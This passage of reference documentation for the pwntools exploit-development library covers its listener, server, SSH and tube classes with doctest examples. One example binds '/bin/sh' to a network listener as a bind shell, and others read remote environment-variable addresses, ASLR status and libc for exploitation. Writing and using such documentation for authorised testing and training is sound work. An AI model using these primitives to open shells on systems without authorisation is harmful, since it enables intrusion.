Returns Instance of pwnlib.tubes.remote.remote.

class pwnlib.tubes.listen.**listen**(*port=0, bindaddr='::', fam='any', typ='tcp', *args, **kwargs*)

Bases: *pwnlib.tubes.sock.sock*

Creates an TCP or UDP-socket to receive data on. It supports both IPv4 and IPv6.

The returned object supports all the methods from *pwnlib.tubes.sock* and *pwnlib.tubes.tube*.

Parameters

- **port** (*int*) – The port to connect to. Defaults to a port auto-selected by the operating system.
- **bindaddr** (*str*) – The address to bind to. Defaults to `0.0.0.0` / *::*.
- **fam** – The string "any", "ipv4" or "ipv6" or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string "tcp" or "udp" or an integer to pass to `socket.getaddrinfo()`.

Examples

```
>>> l = listen(1234)
>>> r = remote('localhost', l.lport)
>>> _ = l.wait_for_connection()
>>> l.sendline(b'Hello')
>>> r.recvline()
b'Hello\n'
```

```
>>> # It works with ipv4 by default
>>> l = listen()
>>> l.spawn_process('/bin/sh')
>>> r = remote('127.0.0.1', l.lport)
>>> r.sendline(b'echo Goodbye')
>>> r.recvline()
b'Goodbye\n'
```

```
>>> # and it works with ipv6 by defaut, too!
>>> l = listen()
>>> r = remote('::1', l.lport)
>>> r.sendline(b'Bye-bye')
>>> l.recvline()
b'Bye-bye\n'
```

__init__(*port=0*, *bindaddr='::'*, *fam='any'*, *typ='tcp'*, **args*, ***kwargs*)
x.__init__(…) initializes x; see help(type(x)) for signature

close()
Closes the tube.

spawn_process(**args*, ***kwargs*)
Spawns a new process having this tube as stdin, stdout and stderr.

Takes the same arguments as `subprocess.Popen`.

wait_for_connection()
Blocks until a connection has been established.

canonname = None
Canonical name of the listening interface

family = None
Socket family

lhost = None
Local host

lport = 0
Local port

protocol = None
Socket protocol

sockaddr = None
Sockaddr structure that is being listened on

type = None
Socket type (e.g. socket.SOCK_STREAM)

class pwnlib.tubes.server.**server**(*port=0*, *bindaddr='::'*, *fam='any'*, *typ='tcp'*, *callback=None*, *blocking=False*, **args*, ***kwargs*)
Bases: `pwnlib.tubes.sock.sock`

Creates an TCP or UDP-server to listen for connections. It supports both IPv4 and IPv6.

Parameters

- **port** (`int`) – The port to connect to. Defaults to a port auto-selected by the operating system.
- **bindaddr** (`str`) – The address to bind to. Defaults to `0.0.0.0` / *::*.

- **fam** – The string "any", "ipv4" or "ipv6" or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string "tcp" or "udp" or an integer to pass to `socket.getaddrinfo()`.
- **callback** – A function to be started on incoming connections. It should take a *pwnlib.tubes.remote* as its only argument.

Examples

```
>>> s = server(8888)
>>> client_conn = remote('localhost', s.lport)
>>> server_conn = s.next_connection()
>>> client_conn.sendline(b'Hello')
>>> server_conn.recvline()
b'Hello\n'
>>> def cb(r):
...     client_input = r.readline()
...     r.send(client_input[::-1])
...
>>> t = server(8889, callback=cb)
>>> client_conn = remote('localhost', t.lport)
>>> client_conn.sendline(b'callback')
>>> client_conn.recv()
b'\nkcabllac'
```

`__init__`(*port=0*, *bindaddr='::'*, *fam='any'*, *typ='tcp'*, *callback=None*, *blocking=False*, **args*, ***kwargs*)
x.__init__(...) initializes x; see help(type(x)) for signature

`close`()
Closes the tube.

`canonname = None`
Canonical name of the listening interface

`family = None`
Socket family

`lhost = None`
Local host

`lport = 0`
Local port

`protocol = None`
Socket protocol

`sockaddr = None`
Sockaddr structure that is being listened on

`type = None`
Socket type (e.g. socket.SOCK_STREAM)

pwnlib.tubes.ssh — SSH

class pwnlib.tubes.ssh.**ssh**(*user=None, host=None, port=22, password=None, key=None, keyfile=None, proxy_command=None, proxy_sock=None, level=None, cache=True, ssh_agent=False, ignore_config=False, *a, **kw*)

Creates a new ssh connection.

Parameters

- **user** (*str*) – The username to log in with
- **host** (*str*) – The hostname to connect to
- **port** (*int*) – The port to connect to
- **password** (*str*) – Try to authenticate using this password
- **key** (*str*) – Try to authenticate using this private key. The string should be the actual private key.
- **keyfile** (*str*) – Try to authenticate using this private key. The string should be a filename.
- **proxy_command** (*str*) – Use this as a proxy command. It has approximately the same semantics as ProxyCommand from ssh(1).
- **proxy_sock** (*str*) – Use this socket instead of connecting to the host.
- **timeout** – Timeout, in seconds
- **level** – Log level
- **cache** – Cache downloaded files (by hash/size/timestamp)
- **ssh_agent** – If `True`, enable usage of keys via ssh-agent
- **ignore_config** – If `True`, disable usage of ~/.ssh/config and ~/.ssh/authorized_keys

NOTE: The proxy_command and proxy_sock arguments is only available if a fairly new version of paramiko is used.

Example proxying:

```
>>> s1 = ssh(host='example.pwnme')
>>> r1 = s1.remote('localhost', 22)
>>> s2 = ssh(host='example.pwnme', proxy_sock=r1.sock)
>>> r2 = s2.remote('localhost', 22) # and so on...
>>> for x in r2, s2, r1, s1: x.close()
```

__call__(*attr*)

Permits function-style access to run commands over SSH

Examples

```
>>> s =  ssh(host='example.pwnme')
>>> print(repr(s('echo hello')))
b'hello'
```

__getattr__(*attr*)

Permits member access to run commands over SSH

Examples

```
>>> s =  ssh(host='example.pwnme')
>>> s.echo('hello')
b'hello'
>>> s.whoami()
b'travis'
>>> s.echo(['huh','yay','args'])
b'huh yay args'
```

__getitem__(*attr*)
Permits indexed access to run commands over SSH

Examples

```
>>> s =  ssh(host='example.pwnme')
>>> print(repr(s['echo hello']))
b'hello'
```

__init__(*user=None, host=None, port=22, password=None, key=None, keyfile=None, proxy_command=None, proxy_sock=None, level=None, cache=True, ssh_agent=False, ignore_config=False, *a, **kw*)
Creates a new ssh connection.

Parameters

- **user** (*str*) – The username to log in with
- **host** (*str*) – The hostname to connect to
- **port** (*int*) – The port to connect to
- **password** (*str*) – Try to authenticate using this password
- **key** (*str*) – Try to authenticate using this private key. The string should be the actual private key.
- **keyfile** (*str*) – Try to authenticate using this private key. The string should be a filename.
- **proxy_command** (*str*) – Use this as a proxy command. It has approximately the same semantics as ProxyCommand from ssh(1).
- **proxy_sock** (*str*) – Use this socket instead of connecting to the host.
- **timeout** – Timeout, in seconds
- **level** – Log level
- **cache** – Cache downloaded files (by hash/size/timestamp)
- **ssh_agent** – If `True`, enable usage of keys via ssh-agent
- **ignore_config** – If `True`, disable usage of ~/.ssh/config and ~/.ssh/authorized_keys

NOTE: The proxy_command and proxy_sock arguments is only available if a fairly new version of paramiko is used.

Example proxying:

```
>>> s1 = ssh(host='example.pwnme')
>>> r1 = s1.remote('localhost', 22)
>>> s2 = ssh(host='example.pwnme', proxy_sock=r1.sock)
>>> r2 = s2.remote('localhost', 22) # and so on...
>>> for x in r2, s2, r1, s1: x.close()
```

`__repr__`() <==> *repr(x)*

`_init_remote_platform_info`()
Fills _platform_info, e.g.:

```
{'distro': 'Ubuntu\n',
 'distro_ver': '14.04\n',
 'machine': 'x86_64',
 'node': 'pwnable.kr',
 'processor': 'x86_64',
 'release': '3.11.0-12-generic',
 'system': 'linux',
 'version': '#19-ubuntu smp wed oct 9 16:20:46 utc 2013'}
```

`_libs_remote`(*remote*)
Return a dictionary of the libraries used by a remote file.

`checksec`()
Prints a helpful message about the remote system.

Parameters **banner** (*bool*) – Whether to print the path to the ELF binary.

`close`()
Close the connection.

`connect_remote`(*host*, *port*, *timeout = Timeout.default*) → ssh_connecter
Connects to a host through an SSH connection. This is equivalent to using the `-L` flag on `ssh`.

Returns a *`pwnlib.tubes.ssh.ssh_connecter`* object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s =  ssh(host='example.pwnme')
>>> a = s.connect_remote(s.host, l.lport)
>>> a=a; b = l.wait_for_connection()  # a=a; prevents hangs
>>> a.sendline(b'Hello')
>>> print(repr(b.recvline()))
b'Hello\n'
```

`connected`()
Returns True if we are connected.

Example

```
>>> s =  ssh(host='example.pwnme')
>>> s.connected()
True
>>> s.close()
```

(continues on next page)

(continued from previous page)

```
>>> s.connected()
False
```

download (*file_or_directory*, *local=None*)
Download a file or directory from the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **local** (*str*) – Local path to store the data. By default, uses the current directory.

download_data (*remote*)
Downloads a file from the remote server and returns it as a string.

Parameters **remote** (*str*) – The remote filename to download.

Examples

```
>>> with open('/tmp/bar','w+') as f:
...     _ = f.write('Hello, world')
>>> s =  ssh(host='example.pwnme',
...         cache=False)
>>> s.download_data('/tmp/bar')
b'Hello, world'
>>> s._sftp = None
>>> s._tried_sftp = True
>>> s.download_data('/tmp/bar')
b'Hello, world'
```

download_dir (*remote=None*, *local=None*)
Recursively downloads a directory from the remote server

Parameters

- **local** – Local directory
- **remote** – Remote directory

download_file (*remote*, *local=None*)
Downloads a file from the remote server.

The file is cached in /tmp/pwntools-ssh-cache using a hash of the file, so calling the function twice has little overhead.

Parameters

- **remote** (*str*) – The remote filename to download
- **local** (*str*) – The local filename to save it to. Default is to infer it from the remote filename.

get (*file_or_directory*, *local=None*)
download(file_or_directory, local=None)

Download a file or directory from the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **local** (*str*) – Local path to store the data. By default, uses the current directory.

getenv (*variable*, ***kwargs*)
Retrieve the address of an environment variable on the remote system.

Note: The exact address will differ based on what other environment variables are set, as well as argv[0]. In order to ensure that the path is *exactly* the same, it is recommended to invoke the process with `argv=[]`.

---

interactive (*shell=None*)
Create an interactive session.

This is a simple wrapper for creating a new `pwnlib.tubes.ssh.ssh_channel` object and calling `pwnlib.tubes.ssh.ssh_channel.interactive()` on it.

libs (*remote*, *directory=None*)
Downloads the libraries referred to by a file.

This is done by running ldd on the remote server, parsing the output and downloading the relevant files.

The directory argument specified where to download the files. This defaults to './$HOSTNAME' where $HOSTNAME is the hostname of the remote server.

listen (*port=0*, *bind_address=''*, *timeout=pwnlib.timeout.Timeout.default*)
listen_remote(port = 0, bind_address = '', timeout = Timeout.default) -> ssh_connecter

Listens remotely through an SSH connection. This is equivalent to using the `-R` flag on `ssh`.

Returns a `pwnlib.tubes.ssh.ssh_listener` object.

Examples

```
>>> from pwn import *
>>> s =  ssh(host='example.pwnme')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> a=a; b = l.wait_for_connection()  # a=a; prevents hangs
>>> a.sendline(b'Hello')
>>> print(repr(b.recvline()))
b'Hello\n'
```

listen_remote (*port = 0*, *bind_address = ''*, *timeout = Timeout.default*) → ssh_connecter
Listens remotely through an SSH connection. This is equivalent to using the `-R` flag on `ssh`.

Returns a `pwnlib.tubes.ssh.ssh_listener` object.

Examples

```
>>> from pwn import *
>>> s =  ssh(host='example.pwnme')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> a=a; b = l.wait_for_connection()  # a=a; prevents hangs
>>> a.sendline(b'Hello')
>>> print(repr(b.recvline()))
b'Hello\n'
```

process(*argv=None*, *executable=None*, *tty=True*, *cwd=None*, *env=None*, *timeout=pwnlib.timeout.Timeout.default*, *run=True*, *stdin=0*, *stdout=1*, *stderr=2*, *preexec_fn=None*, *preexec_args=()*, *raw=True*, *aslr=None*, *setuid=None*, *shell=False*)

Executes a process on the remote server, in the same fashion as pwnlib.tubes.process.process.

To achieve this, a Python script is created to call `os.execve` with the appropriate arguments.

As an added bonus, the `ssh_channel` object returned has a `pid` property for the process pid.

Parameters

- **argv** (*list*) – List of arguments to pass into the process
- **executable** (*str*) – Path to the executable to run. If `None`, `argv[0]` is used.
- **tty** (*bool*) – Request a *tty* from the server. This usually fixes buffering problems by causing *libc* to write data immediately rather than buffering it. However, this disables interpretation of control codes (e.g. Ctrl+C) and breaks *.shutdown*.
- **cwd** (*str*) – Working directory. If `None`, uses the working directory specified on `cwd` or set via `set_working_directory()`.
- **env** (*dict*) – Environment variables to set in the child. If `None`, inherits the default environment.
- **timeout** (*int*) – Timeout to set on the *tube* created to interact with the process.
- **run** (*bool*) – Set to `True` to run the program (default). If `False`, returns the path to an executable Python script on the remote server which, when executed, will do it.
- **stdin** (*int, str*) – If an integer, replace stdin with the numbered file descriptor. If a string, a open a file with the specified path and replace stdin with its file descriptor. May also be one of `sys.stdin`, `sys.stdout`, `sys.stderr`. If `None`, the file descriptor is closed.
- **stdout** (*int, str*) – See `stdin`.
- **stderr** (*int, str*) – See `stdin`.
- **preexec_fn** (*callable*) – Function which is executed on the remote side before execve(). This **MUST** be a self-contained function – it must perform all of its own imports, and cannot refer to variables outside its scope.
- **preexec_args** (*object*) – Argument passed to `preexec_fn`. This **MUST** only consist of native Python objects.
- **raw** (*bool*) – If `True`, disable TTY control code interpretation.
- **aslr** (*bool*) – See `pwnlib.tubes.process.process` for more information.
- **setuid** (*bool*) – See `pwnlib.tubes.process.process` for more information.
- **shell** (*bool*) – Pass the command-line arguments to the shell.

Returns A new SSH channel, or a path to a script if `run=False`.

Notes

Requires Python on the remote server.

Examples

```
>>> s = ssh(host='example.pwnme')
>>> sh = s.process('/bin/sh', env={'PS1':''})
>>> sh.sendline(b'echo Hello; exit')
>>> sh.recvall()
b'Hello\n'
>>> s.process(['/bin/echo', b'\xff']).recvall()
b'\xff\n'
>>> s.process(['readlink', '/proc/self/exe']).recvall() # doctest: +ELLIPSIS
b'.../bin/readlink\n'
>>> s.process(['LOLOLOL', '/proc/self/exe'], executable='readlink').recvall()
↪# doctest: +ELLIPSIS
b'.../bin/readlink\n'
>>> s.process(['LOLOLOL\x00', '/proc/self/cmdline'], executable='cat').
↪recvall()
b'LOLOLOL\x00/proc/self/cmdline\x00'
>>> sh = s.process(executable='/bin/sh')
>>> str(sh.pid).encode() in s.pidof('sh') # doctest: +SKIP
True
>>> s.process(['pwd'], cwd='/tmp').recvall()
b'/tmp\n'
>>> p = s.process(['python','-c','import os; os.write(1, os.read(2, 1024))'],␣
↪stderr=0)
>>> p.send(b'hello')
>>> p.recv()
b'hello'
>>> s.process(['/bin/echo', 'hello']).recvall()
b'hello\n'
>>> s.process(['/bin/echo', 'hello'], stdout='/dev/null').recvall()
b''
>>> s.process(['/usr/bin/env'], env={}).recvall()
b''
>>> s.process('/usr/bin/env', env={'A':'B'}).recvall()
b'A=B\n'
```

```
>>> s.process('false', preexec_fn=1234)
Traceback (most recent call last):
...
PwnlibException: preexec_fn must be a function
```

```
>>> s.process('false', preexec_fn=lambda: 1234)
Traceback (most recent call last):
...
PwnlibException: preexec_fn cannot be a lambda
```

```
>>> def uses_globals():
...     foo = bar
>>> print(s.process('false', preexec_fn=uses_globals).recvall().strip().
↪decode()) # doctest: +ELLIPSIS
Traceback (most recent call last):
...
NameError: ...name 'bar' is not defined
```

```
>>> s.process('echo hello', shell=True).recvall()
b'hello\n'
```

```
>>> io = s.process(['cat'], timeout=5)
>>> io.recvline()
b''
```

put (*file_or_directory*, *remote=None*)
upload(file_or_directory, remote=None)

Upload a file or directory to the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **remote** (*str*) – Local path to store the data. By default, uses the working directory.

read (*path*)
Wrapper around download_data to match *pwnlib.util.misc.read()*

remote (*host*, *port*, *timeout=pwnlib.timeout.Timeout.default*)
connect_remote(host, port, timeout = Timeout.default) -> ssh_connecter

Connects to a host through an SSH connection. This is equivalent to using the `-L` flag on `ssh`.

Returns a *pwnlib.tubes.ssh.ssh_connecter* object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s =  ssh(host='example.pwnme')
>>> a = s.connect_remote(s.host, l.lport)
>>> a=a; b = l.wait_for_connection()  # a=a; prevents hangs
>>> a.sendline(b'Hello')
>>> print(repr(b.recvline()))
b'Hello\n'
```

run (*process*, *tty=True*, *wd=None*, *env=None*, *timeout=None*, *raw=True*)
Backward compatibility. Use *system()*

run_to_end (*process*, *tty = False*, *timeout = Timeout.default*, *env = None*) → str
Run a command on the remote server and return a tuple with (data, exit_status). If *tty* is True, then the command is run inside a TTY on the remote server.

Examples

```
>>> s =  ssh(host='example.pwnme')
>>> print(s.run_to_end('echo Hello; exit 17'))
(b'Hello\n', 17)
```

set_working_directory (*wd=None*, *symlink=False*)
Sets the working directory in which future commands will be run (via ssh.run) and to which files will be uploaded/downloaded from if no path is provided

Note: This uses `mktemp -d` under the covers, sets permissions on the directory to `0700`. This means that setuid binaries will **not** be able to access files created in this directory.

In order to work around this, we also `chmod +x` the directory.

Parameters

- **wd** (*string*) – Working directory. Default is to auto-generate a directory based on the result of running 'mktemp -d' on the remote machine.
- **symlink** (*bool, str*) – Create symlinks in the new directory.

  The default value, `False`, implies that no symlinks should be created.

  A string value is treated as a path that should be symlinked. It is passed directly to the shell on the remote end for expansion, so wildcards work.

  Any other value is treated as a boolean, where `True` indicates that all files in the "old" working directory should be symlinked.

Examples

```
>>> s =  ssh(host='example.pwnme')
>>> cwd = s.set_working_directory()
>>> s.ls()
b''
>>> packing._decode(s.pwd()) == cwd
True
```

```
>>> s =  ssh(host='example.pwnme')
>>> homedir = s.pwd()
>>> _=s.touch('foo')
```

```
>>> _=s.set_working_directory()
>>> assert s.ls() == b''
```

```
>>> _=s.set_working_directory(homedir)
>>> assert b'foo' in s.ls().split(), s.ls().split()
```

```
>>> _=s.set_working_directory(symlink=True)
>>> assert b'foo' in s.ls().split(), s.ls().split()
>>> assert homedir != s.pwd()
```

```
>>> symlink=os.path.join(homedir,b'*')
>>> _=s.set_working_directory(symlink=symlink)
>>> assert b'foo' in s.ls().split(), s.ls().split()
>>> assert homedir != s.pwd()
```

shell (*shell = None*, *tty = True*, *timeout = Timeout.default*) → ssh_channel

Open a new channel with a shell inside.

Parameters

- **shell** (*str*) – Path to the shell program to run. If `None`, uses the default shell for the logged in user.
- **tty** (*bool*) – If `True`, then a TTY is requested on the remote server.

Returns Return a *pwnlib.tubes.ssh.ssh_channel* object.

Examples

```
>>> s =  ssh(host='example.pwnme')
>>> sh = s.shell('/bin/sh')
>>> sh.sendline(b'echo Hello; exit')
>>> print(b'Hello' in sh.recvall())
True
```

system(*process*, *tty = True*, *wd = None*, *env = None*, *timeout = Timeout.default*, *raw = True*) → ssh_channel

Open a new channel with a specific process inside. If *tty* is True, then a TTY is requested on the remote server.

If *raw* is True, terminal control codes are ignored and input is not echoed back.

Return a *pwnlib.tubes.ssh.ssh_channel* object.

Examples

```
>>> s =  ssh(host='example.pwnme')
>>> py = s.run('python -i')
>>> _ = py.recvuntil(b'>>> ')
>>> py.sendline(b'print(2+2)')
>>> py.sendline(b'exit')
>>> print(repr(py.recvline()))
b'4\n'
>>> s.system('env | grep -a AAAA', env={'AAAA': b'\x90'}).recvall()
b'AAAA=\x90\n'
```

unlink(*file*)

Delete the file on the remote host

Parameters file (*str*) – Path to the file

upload(*file_or_directory*, *remote=None*)

Upload a file or directory to the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **remote** (*str*) – Local path to store the data. By default, uses the working directory.

upload_data(*data*, *remote*)

Uploads some data into a file on the remote server.

Parameters

- **data** (*str*) – The data to upload.
- **remote** (*str*) – The filename to upload it to.

Example

```
>>> s =  ssh(host='example.pwnme')
>>> s.upload_data(b'Hello, world', '/tmp/upload_foo')
>>> print(open('/tmp/upload_foo').read())
Hello, world
```

(continues on next page)

(continued from previous page)

```
>>> s._sftp = False
>>> s._tried_sftp = True
>>> s.upload_data(b'Hello, world', '/tmp/upload_bar')
>>> print(open('/tmp/upload_bar').read())
Hello, world
```

upload_dir (*local*, *remote=None*)
Recursively uploads a directory onto the remote server

Parameters

- **local** – Local directory
- **remote** – Remote directory

upload_file (*filename*, *remote=None*)
Uploads a file to the remote server. Returns the remote filename.

Arguments: filename(str): The local filename to download remote(str): The remote filename to save it to. Default is to infer it from the local filename.

which (*program*) → str
Minor modification to just directly invoking `which` on the remote system which adds the current working directory to the end of `$PATH`.

write (*path*, *data*)
Wrapper around upload_data to match *pwnlib.util.misc.write()*

arch
CPU Architecture of the remote machine.

Type str

aslr
Whether ASLR is enabled on the system.

Example

```
>>> s = ssh("travis", "example.pwnme")
>>> s.aslr
True
```

Type bool

aslr_ulimit
Whether the entropy of 32-bit processes can be reduced with ulimit.

Type bool

bits
Pointer size of the remote machine.

Type str

cache = True
Enable caching of SSH downloads (`bool`)

client = None
Paramiko SSHClient which backs this object

distro
Linux distribution name and release.

Type tuple

host = None
Remote host name (`str`)

os
Operating System of the remote machine.

Type str

pid = None
PID of the remote `sshd` process servicing this connection.

port = None
Remote port (`int`)

sftp
Paramiko SFTPClient object which is used for file transfers. Set to `None` to disable `sftp`.

version
Kernel version of the remote machine.

Type tuple

class pwnlib.tubes.ssh.**ssh_channel**
Bases: *pwnlib.tubes.sock.sock*

interactive (*prompt = pwnlib.term.text.bold_red('$') + ' '*)
If not in TTY-mode, this does exactly the same as meth:*pwnlib.tubes.tube.tube.interactive*, otherwise it does mostly the same.

An SSH connection in TTY-mode will typically supply its own prompt, thus the prompt argument is ignored in this case. We also have a few SSH-specific hacks that will ideally be removed once the *pwnlib.term* is more mature.

kill ()
Kills the process.

poll () → int
Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code otherwise.

class pwnlib.tubes.ssh.**ssh_process** (*parent*, *process=None*, *tty=False*, *wd=None*, *env=None*, *raw=True*, **args*, ***kwargs*)
Bases: *pwnlib.tubes.ssh.ssh_channel*

getenv (*variable*, ***kwargs*)
Retrieve the address of an environment variable in the remote process.

Examples

```
>>> s = ssh(host='example.pwnme')
>>> p = s.process(['python', '-c', 'import time; time.sleep(10)'])
>>> hex(p.getenv('PATH'))  # doctest: +ELLIPSIS
'0x...'
```

libs () → dict
Returns a dictionary mapping the address of each loaded library in the process's address space.

If `/proc/$PID/maps` cannot be opened, the output of ldd is used verbatim, which may be different than the actual addresses if ASLR is enabled.

argv = None
Arguments passed to the process Only valid when instantiated through *ssh.process()*

cwd = None
Working directory

elf
Returns an ELF file for the executable that launched the process.

executable = None
Executable of the procesks Only valid when instantiated through *ssh.process()*

libc
Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address automatically.

Examples

```
>>> s =  ssh(host='example.pwnme')
>>> p = s.process('true')
>>> p.libc  # doctest: +ELLIPSIS
ELF('.../libc.so.6')
```

pid = None
PID of the process Only valid when instantiated through *ssh.process()*

class pwnlib.tubes.ssh.**ssh_connecter**
Bases: *pwnlib.tubes.sock.sock*

class pwnlib.tubes.ssh.**ssh_listener**
Bases: *pwnlib.tubes.sock.sock*

2.32.2 pwnlib.tubes.tube — Common Functionality

class pwnlib.tubes.tube.**tube**
Container of all the tube functions common to sockets, TTYs and SSH connetions.

__enter__()
Permit use of 'with' to control scoping and closing sessions.

Examples

```
>>> t = tube()
>>> def p(x): print(x)
>>> t.close = lambda: p("Closed!")
>>> with t: pass
Closed!
```

__exit__(*type*, *value*, *traceback*)
Handles closing for 'with' statement

See *__enter__()*

__init__(*timeout=pwnlib.timeout.Timeout.default*, *level=None*, **a*, ***kw*)
x.__init__(…) initializes x; see help(type(x)) for signature

__lshift__(*other*)
Shorthand for connecting multiple tubes.

See `connect_input()` for more information.

Examples

The following are equivalent

```
tube_a >> tube.b
tube_a.connect_input(tube_b)
```

This is useful when chaining multiple tubes

```
tube_a >> tube_b >> tube_a
tube_a.connect_input(tube_b)
tube_b.connect_input(tube_a)
```

__ne__(*other*)
Shorthand for connecting tubes to eachother.

The following are equivalent

```
a >> b >> a
a <> b
```

See `connect_input()` for more information.

__rshift__(*other*)
Inverse of the << operator. See `__lshift__()`.

See `connect_input()` for more information.

_fillbuffer(*timeout = default*)
Fills the internal buffer from the pipe, by calling `recv_raw()` exactly once.

Returns The bytes of data received, or `''` if no data was received.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda *a: b'abc'
>>> len(t.buffer)
0
>>> t._fillbuffer()
b'abc'
>>> len(t.buffer)
3
```

_read(**a*, ***kw*)
Alias for `_recv()`

_recv(*numb = 4096*, *timeout = default*) → str
Receives one chunk of from the internal buffer or from the OS if the buffer is empty.

can_read(**a, **kw*)
Alias for `can_recv()`

can_read_raw(**a, **kw*)
Alias for `can_recv_raw()`

can_recv(*timeout = 0*) → bool
Returns True, if there is data available within *timeout* seconds.

Examples

```
>>> import time
>>> t = tube()
>>> t.can_recv_raw = lambda *a: False
>>> t.can_recv()
False
>>> _=t.unrecv(b'data')
>>> t.can_recv()
True
>>> _=t.recv()
>>> t.can_recv()
False
```

clean(*timeout = 0.05*)
Removes all the buffered data from a tube by calling `pwnlib.tubes.tube.tube.recv()` with a low timeout until it fails.

If `timeout` is zero, only cached data will be cleared.

Note: If timeout is set to zero, the underlying network is not actually polled; only the internal buffer is cleared.

Returns All data received

Examples

```
>>> t = tube()
>>> t.unrecv(b'clean me up')
>>> t.clean(0)
b'clean me up'
>>> len(t.buffer)
0
```

clean_and_log(*timeout = 0.05*)
Works exactly as `pwnlib.tubes.tube.tube.clean()`, but logs received data with `pwnlib.self.info()`.

Returns All data received

Examples

```
>>> def recv(n, data=[b'', b'hooray_data']):
...     while data: return data.pop()
>>> t = tube()
>>> t.recv_raw      = recv
```

(continues on next page)

(continued from previous page)

```
>>> t.connected_raw = lambda d: True
>>> t.fileno        = lambda: 1234
>>> with context.local(log_level='info'):
...     data = t.clean_and_log() #doctest: +ELLIPSIS
[DEBUG] Received 0xb bytes:
    b'hooray_data'
>>> data
b'hooray_data'
>>> context.clear()
```

close()
Closes the tube.

connect_both(*other*)
Connects the both ends of this tube object with another tube object.

connect_input(*other*)
Connects the input of this tube to the output of another tube object.

Examples

```
>>> def p(x): print(x.decode())
>>> def recvone(n, data=[b'data']):
...     while data: return data.pop()
...     raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown      = lambda d: True
>>> b.shutdown      = lambda d: True
>>> import time
>>> _=(b.connect_input(a), time.sleep(0.1))
data
```

connect_output(*other*)
Connects the output of this tube to the input of another tube object.

Examples

```
>>> def p(x): print(repr(x))
>>> def recvone(n, data=[b'data']):
...     while data: return data.pop()
...     raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown      = lambda d: True
>>> b.shutdown      = lambda d: True
```

(continues on next page)

(continued from previous page)

```
>>> _=(a.connect_output(b), time.sleep(0.1))
b'data'
```

connected (*direction = 'any'*) → bool

Returns True if the tube is connected in the specified direction.

Parameters direction (*str*) – Can be the string 'any', 'in', 'read', 'recv', 'out', 'write', 'send'.

Doctest:

```
>>> def p(x): print(x)
>>> t = tube()
>>> t.connected_raw = p
>>> _=list(map(t.connected, ('any', 'in', 'read', 'recv', 'out', 'write',
↪'send')))
any
recv
recv
recv
send
send
send
>>> t.connected('bad_value') #doctest: +ELLIPSIS
Traceback (most recent call last):
...
KeyError: "direction must be in ['any', 'in', 'out', 'read', 'recv', 'send',
↪'write']"
```

fileno () → int

Returns the file number used for reading.

interactive (*prompt = pwnlib.term.text.bold_red('$') + ' '*)

Does simultaneous reading and writing to the tube. In principle this just connects the tube to standard in and standard out, but in practice this is much more usable, since we are using `pwnlib.term` to print a floating prompt.

Thus it only works in while in `pwnlib.term.term_mode`.

read (**a, **kw*)

Alias for `recv()`

readS (**a, **kw*)

Alias for `recvS()`

read_raw (**a, **kw*)

Alias for `recv_raw()`

readall (**a, **kw*)

Alias for `recvall()`

readallS (**a, **kw*)

Alias for `recvallS()`

readallb (**a, **kw*)

Alias for `recvallb()`

readb (**a, **kw*)

Alias for `recvb()`

readline(*a, **kw)
Alias for `recvline()`

readlineS(*a, **kw)
Alias for `recvlineS()`

readline_contains(*a, **kw)
Alias for `recvline_contains()`

readline_containsS(*a, **kw)
Alias for `recvline_containsS()`

readline_containsb(*a, **kw)
Alias for `recvline_containsb()`

readline_endswith(*a, **kw)
Alias for `recvline_endswith()`

readline_endswithS(*a, **kw)
Alias for `recvline_endswithS()`

readline_endswithb(*a, **kw)
Alias for `recvline_endswithb()`

readline_pred(*a, **kw)
Alias for `recvline_pred()`

readline_regex(*a, **kw)
Alias for `recvline_regex()`

readline_regexS(*a, **kw)
Alias for `recvline_regexS()`

readline_regexb(*a, **kw)
Alias for `recvline_regexb()`

readline_startswith(*a, **kw)
Alias for `recvline_startswith()`

readline_startswithS(*a, **kw)
Alias for `recvline_startswithS()`

readline_startswithb(*a, **kw)
Alias for `recvline_startswithb()`

readlineb(*a, **kw)
Alias for `recvlineb()`

readlines(*a, **kw)
Alias for `recvlines()`

readlinesS(*a, **kw)
Alias for `recvlinesS()`

readlinesb(*a, **kw)
Alias for `recvlinesb()`

readn(*a, **kw)
Alias for `recvn()`

readnS(*a, **kw)
Alias for `recvnS()`

readnb (**a, **kw*)
Alias for `recvnb()`

readpred (**a, **kw*)
Alias for `recvpred()`

readpredS (**a, **kw*)
Alias for `recvpredS()`

readpredb (**a, **kw*)
Alias for `recvpredb()`

readregex (**a, **kw*)
Alias for `recvregex()`

readregexS (**a, **kw*)
Alias for `recvregexS()`

readregexb (**a, **kw*)
Alias for `recvregexb()`

readrepeat (**a, **kw*)
Alias for `recvrepeat()`

readrepeatS (**a, **kw*)
Alias for `recvrepeatS()`

readrepeatb (**a, **kw*)
Alias for `recvrepeatb()`

readuntil (**a, **kw*)
Alias for `recvuntil()`

readuntilS (**a, **kw*)
Alias for `recvuntilS()`

readuntilb (**a, **kw*)
Alias for `recvuntilb()`

recv (*numb = 4096, timeout = default*) → bytes
Receives up to *numb* bytes of data from the tube, and returns as soon as any quantity of data is available.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

Raises **exceptions.EOFError** – The connection is closed

Returns A bytes object containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> # Fake a data source
>>> t.recv_raw = lambda n: b'Hello, world'
>>> t.recv() == b'Hello, world'
True
>>> t.unrecv(b'Woohoo')
>>> t.recv() == b'Woohoo'
True
